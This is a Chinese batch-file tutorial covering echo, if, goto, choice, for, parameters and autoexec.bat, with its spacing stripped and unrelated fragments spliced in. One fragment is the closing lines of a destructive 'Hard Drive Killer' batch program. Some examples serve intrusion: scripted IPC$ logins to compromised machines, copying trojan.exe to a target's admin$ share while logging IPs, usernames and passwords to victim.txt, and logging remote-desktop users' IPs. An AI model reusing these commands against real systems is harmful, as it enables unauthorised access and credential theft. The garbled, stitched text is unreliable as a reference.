处不多做叙述,有兴趣的朋友可自行研究.二.如何在批处理文件中使用参数批处理中可以使用参数,一般从1%到9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。sample1:fomat.bat@echooffif"%1"=="a"formata::format@formata:/q/u/auotset

@echopleaseinsertanotherdisktodriverA.@pause@gotofomat这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bata,呵呵,好像有点画蛇添足了~^_^sample2:当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ippasswordusername当着参数来赋给这个批处理,这样就不用每次都打命令了。@echooff@netuse\\1%\ipc$"2%"/u:"3%"注意哦,这里PASSWORD是第二个参数。@iferrorlevel1echoconnectionfailed怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.No.3三.如何使用组合命令(CompoundCommand)1.&Usage:第一条命令&第二条命令[&第三条命令...]用这种方法可以同时执行多条命令,而不管命令是否执行成功Sample:C:\>dirz:&dirc:\Ex4rchThesystemcannotfindthepathspecifIEd.VolumeindriveChasnolabel.VolumeSerialNumberis0078-59FBDirectoryofc:\Ex4rch2002-05-1423:51.2002-05-1423:51..2002-05-1423:5114sometips.gif3.Usage:第一条命令第二条命令[第三条命令...]用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;Sample:C:\Ex4rch>dirsometips.gifdelsometips.gifVolumeindriveChasnolabel.VolumeSerialNumberis0078-59FBDirectoryofC:\Ex4rch2002-05-1423:5514sometips.gif1File(s)14bytes0Dir(s)768,696,320bytesfree组合命令使用的例子:sample:@copytrojan.exe\\%1\admin$\system32&&ifnoterrorlevel1echoIP%1USER%2PASS%3>>victim.txt四、管道命令的使用1.命令Usage:第一条命令第二条命令[第三条命令...]将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。

sample:time/t>>D:\IP.lognetstat-n-ptcpfind":3389">>D:\IP.logstartExplorer看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。2.>、>>输出重定向命令将一条命令或某个程序输出结果的重定向到特定文件中,>与>>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。sample1:echohelloworld>c:\hello.txt(stupidexample?)sample2:时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:运行CMD--转换目录到system32--dir.exe>exeback.txt&dir.dll>dllback.txt,这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:CMD--fcexeback.txtexeback1.txt>diff.txt&fcdllback.txtdllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到ne?echo.echoRegards,echo.echoMungaBunga:endremHardDriveKillerProVersion4.0,enjoy!!!!remAuthor:MungaBunga-fromAustralia,thelandfullofretardedAustralians(helpmegetoutofhere).No.7

常用命令echo、@、call、pause、rem是批处理文件最常用的几个命令,我们就从他们开始学起。echo表示显示此命令后的字符echooff表示在此语句后所有运行的命令都不显示命令行本身@与echooff相象,但它是加在其它命令行的最前面,表示运行时不显示命令行本身。

call调用另一条批处理文件(如果直接调用别的批处理文件,执行完那条文件后将无法执行当前文件后续命令)pause运行此句会暂停,显示Pressanykeytocontinue...等待用户按任意键后继续

rem表示此命令后的字符为解释行,不执行,只是给自己今后查找用的

例:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入a.txt中,启动UCDOS,进入WPS等功能。

批处理文件的内容为:文件表示:

echooff不显示命令行dirc:\.>a.txt将c盘文件列表写入a.txtcallc:\ucdos\ucdos.bat调用ucdosecho你好显示"你好"pause暂停,等待按键继续rem使用wps注释将使用wpscducdos进入ucdos目录wps使用wps

批处理文件中还可以像C语言一样使用参数,这只需用到一个参数表示符%。

%表示参数,参数是指在运行批处理文件时在文件名后加的字符串。变量可以从%0到%9,%0表示文件名本身,字符串用%1到%9顺序表示。

例如,C:根目录下一批处理文件名为f.bat,内容为format%1则如果执行C:\>fa:则实际执行的是formata:

又如C:根目录下一批处理文件的名为t.bat,内容为type%1type%2

那么运行C:\>ta.txtb.txt将顺序地显示a.txt和b.txt文件的内容此外电脑每次启动时都会寻找autoexec.bat这条批处理文件,从而可执行一些每次开机都要执行的命令,如设置路径path、加载鼠标驱动mouse、磁盘加速smartdrv等,可以使您的电脑真正自动化。

特殊命令

ifgotochoicefor是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。if表示将判断是否符合规定的条件,从而决定执行不同的命令。有三种格式:1、if"参数"=="字符串"待执行的命令参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)如if"%1"=="a"formata:

2、ifexist文件名待执行的命令如果有指定的文件,则条件成立,运行命令,否则运行下一句。如ifexistconfig.syseditconfig.sys

3、iferrorlevel数字待执行的命令如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如iferrorlevel2gotox2DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码

goto批处理文件运行到这里将跳到goto所指定的标号处,一般与if配合使用。如:

gotoend

:endechothisistheend

标号用:字符串表示,标号所在行不被执行

choice使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……

如:choice/cmedefrag,mem,end将显示defrag,mem,end[D,M,E]?

例如,test.bat的内容如下:@echooffchoice/cmedefrag,mem,endiferrorlevel3gotodefrag应先判断数值最高的错误码iferrorlevel2gotomemiferrotlevel1gotoend

efragc:\dos\defraggotoend:memmemgotoend:endechogoodbye此文件运行后,将显示defrag,mem,end[D,M,E]?用户可选择dme,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以gotoend将程序跳到end标号处,然后程序将显示goodbye,文件结束。for循环命令,只要条件符合,它将多次执行同一命令。格式FOR[%%f]in(集合)DO[命令]只要参数f在指定的集合内,则条件成立,执行命令如果一条批处理文件中有一行:for%%cin(.bat.txt)dotype%%c含义是如果是以bat或txt结尾的文件,则显示文件的内容。autoexec.batDOS在启动会自动运行autoexec.bat这条文件,一般我们在里面装载每次必用的程序,如:path(设置路径)、smartdrv(磁盘加速)、mouse(鼠标启动)、mscdex(光驱连接)、?doskey(键盘管理)、set(设置环境变量)等。如果启动盘根目录中没有这个文件,电脑会让用户输入日期和时间。例如,一个典型的autoexec.bat内容如下:@echooff不显示命令行prompt$p$g设置提示符前有目录提示pathc:\dos;c:\;c:\windows;c:\ucdos;c:\tools设置路径lhc:\dos\doskey.com加载键盘管理lhc:\mouse\mouse.com加载鼠标管理lhc:\dos\smartdrv.exe加载磁盘加速管理lhc:\dos\mscdex/S/D:MSCD000/M:12/V加载CD-ROM驱动settemp=c:\temp设置临时目IF-EXIST

首先用记事本建立一个文件,文件内容如下:@echooffIFEXIST\AUTOEXEC.BATTYPE\AUTOEXEC.BATIFNOTEXIST\AUTOEXEC.BATECHO\AUTOEXEC.BATdoesnotexist在C盘保存文件为TEST.BAT然后执行命令C:\>TEST1.BAT这时,如果AUTOEXEC.BAT中有内容的话会显示出来。接着再建立一个文件,内容如下:@ECHOOFFIFEXIST%1TYPE%1IFNOTEXIST%1ECHO%1doesnotexist也保存在C盘,文件名为TEST2.BAT然后执行命令C:\>TEST2AUTOEXEC.BAT同样,如果AUTOEXEC.BAT中有内容的话会显示出来。说明:1.IFEXIST是用来测试文件是否存在的,格式为IFEXIST[路径+文件名]命令2.其中第二个文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1---------%9,有点想实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。更进一步的,建立一个名为ABC.BAT的文件,内容如下:IF‘%1’==‘A’ECHOXIAOIF‘%1’==‘B’ECHOTIANIF‘%1’==‘C’ECHOXIN完成后运行C:\>ABC.BATABC屏幕上会显示C:\>XIAOTIANXIA如果执行C:\>ABC.BATAB屏幕上会显示C:\>XIAOTIANDOS将一个空字符串附给参数%3。可以将NOT放在IF和条件之间,指示IF在条件为假时执行某一命令。注意:这个命令可在DOS下输入直接运行。IF-ERRORLEVEL用记事本建立一个文件XIAO.BAT,内容如下@ECHOOFFXCOPYC:\AUTOEXEC.BATD:\IFERRORLEVEL==0ECHO成功拷贝文件然后执行文件C:\>XIAO.BAT如果文件拷贝成功,屏幕就会显示:成功拷贝文件IFERRORLEVEL是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,因此下面的批处理文件是错误的@ECHOOFFXCOPYC:\AUTOEXEC.BATD:\IFERRORLEVEL==0ECHO成功拷贝文件IFERRORLEVEL==1ECHO未找到拷贝文件IFERRORLEVEL==2ECHO用户通过ctrl-c中止拷贝操作IFERRORLEVEL==3ECHO预置错误阻止文件拷贝操作IFERRORLEVEL==4ECHO拷贝过程中写盘错误无论拷贝是否成功,后面的:未找到拷贝文件用户通过ctrl-c中止拷贝操作预置错误阻止文件拷贝操作拷贝过程中写盘错误都将显示出来。注意:这个命令是可以在DOS下直接输入的。例如:C:\>XCOPY\AUTOEXEC.BATD:\之后可以执行C:\>IFERRORLEVEL==0ECHO成功拷贝文件如果成功,屏幕将显示:成功拷贝文件

以下就是几个常用命令的返回值:backup出口状态意义0备份成功1未找到备份文件2文件共享冲突阻止备份完成3用户用ctrl-c中止备份4由于致命的错误使备份操作中止diskcomp出口状态意义0盘比较相同1盘比较不同2用户通过ctrl-c中止比较操作3由于致命的错误使比较操作中止4预置错误中止比较diskcopy出口状态意义0盘拷贝操作成功1非致命盘读/写错2用户通过ctrl-c结束拷贝操作3因致命的处理错误使盘拷贝中止4预置错误阻止拷贝操作format出口状态意义0格式化成功3用户通过ctrl-c中止格式化处理4因致命的处理错误使格式化中止5在提示“proceedwithformat(y/n)?”下用户键入n结束xopy出口状态意义0成功拷贝文件1未找到拷贝文件2用户通过ctrl-c中止拷贝操作4预置错误阻止文件拷贝操作5拷贝过程中写盘错误

IFSTRING==STRING

首先用记事本建立一个名为XIAO.BAT的文件,文件内容如下:@echooffIF"%1"=="A"FORMATA:接着执行C:\>XIAOA屏幕上就出现是否将A:盘格式化的内容。这个语句的格式为IF"参数"=="字符串"待执行的命令参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。注意:要想在DOS下直接使用,只有这样C:\>IF"A"=="A"FORMATA:毫无意义。

GOTO

首先用记事本建立一个名为XIAO.BAT的文件,文件内容如下:@ECHOOFFIFEXISTC:\AUTOEXEC.BATGOTOKB:KB???????????????????????????????????????????????????????????????????????????????????????????????????????????????????COPYC:\AUTOEXEC.BATD:\:DONE?????????????????????????????????????????????????????????????????????????????????????????????????????????????????注意:1.标号前是冒号(:)2.标号的最后一行是:DONG3.DOS支持最长为八位的标号,当无法区别两个标号时,将跳转至最近的一个标号。

FOR首先用记事本建立一个名为XIAO.BAT的文件,文件内容如下:@ECHOOFFFOR%%CIN(.BAT.TXT.SYS)DOTYPE%%C接着执行C:>XIAO.BAT执行以后,屏幕上会将C:盘所有的以.BAT.TXT.SYS为扩展名的文件内容显示出来,当然不包括隐藏文件。说明:字符%%C表示FOR命令变量,FOR支持通配符











献花(0)
+1
(本文系whatsup首藏)